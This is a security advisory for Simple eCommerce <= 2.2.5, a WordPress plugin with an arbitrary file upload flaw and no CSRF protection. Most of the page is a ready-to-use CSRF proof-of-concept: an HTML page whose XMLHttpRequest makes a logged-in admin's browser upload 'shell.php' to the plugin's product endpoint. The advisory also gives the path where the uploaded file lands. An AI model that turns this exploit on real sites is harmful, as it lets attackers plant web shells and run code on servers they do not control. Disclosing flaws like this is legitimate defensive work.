Simple eCommerce <= 2.2.5 - Arbitrary File Upload

2021-08-1600:00:00

Fellipe Oliveira

396

simple ecommerce

arbitrary file upload

product upload

security exploit

web application vulnerability

javascript xmlhttprequest

file upload vulnerability

EPSS

0.001

Percentile

43.2%

JSON

The plugin does not check for the uploaded Downloadable Digital product file, allowing any file, such as PHP to be uploaded by an administrator. Furthermore, as there is no CSRF in place, attackers could also make a logged admin upload a malicious PHP file, which would lead to RCE

https://www.youtube.com/watch?v=KvXqTGvq4xQ

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/example.com\/wp-admin\/admin.php?page=simpleecommcart-products", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------14024174919792965573802180262");
        xhr.withCredentials = true;
        var body = "-----------------------------14024174919792965573802180262\r\n" + 
          "Content-Disposition: form-data; name=\"simpleecommcart-action\"\r\n" + 
          "\r\n" + 
          "save product\r\n" + 
          "-----------------------------14024174919792965573802180262\r\n" + 
          "Content-Disposition: form-data; name=\"product[name]\"\r\n" + 
          "\r\n" + 
          "test\r\n" + 
          "-----------------------------14024174919792965573802180262\r\n" + 
          "Content-Disposition: form-data; name=\"product[price]\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------14024174919792965573802180262\r\n" + 
          "Content-Disposition: form-data; name=\"product[upload]\"; filename=\"shell.php\"\r\n" +
          "Content-Type: text/php\r\n" + 
          "\r\n" + 
          "\x3c?php echo \'FAILED\'; ?\x3e\n" + 
          "\r\n" + 
          "-----------------------------14024174919792965573802180262\r\n" + 
          "Content-Disposition: form-data; name=\"submit\"\r\n" + 
          "\r\n" + 
          "Save\r\n" + 
          "-----------------------------14024174919792965573802180262--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

File will be uploaded in: /wp-content/uploads/simpleecommcart/digitalproduct/shell.php

EPSS

0.001

Percentile

43.2%

JSON

Related for WPEX-ID:1F2B3C4A-F7E9-4D22-B71E-F6B051FD8349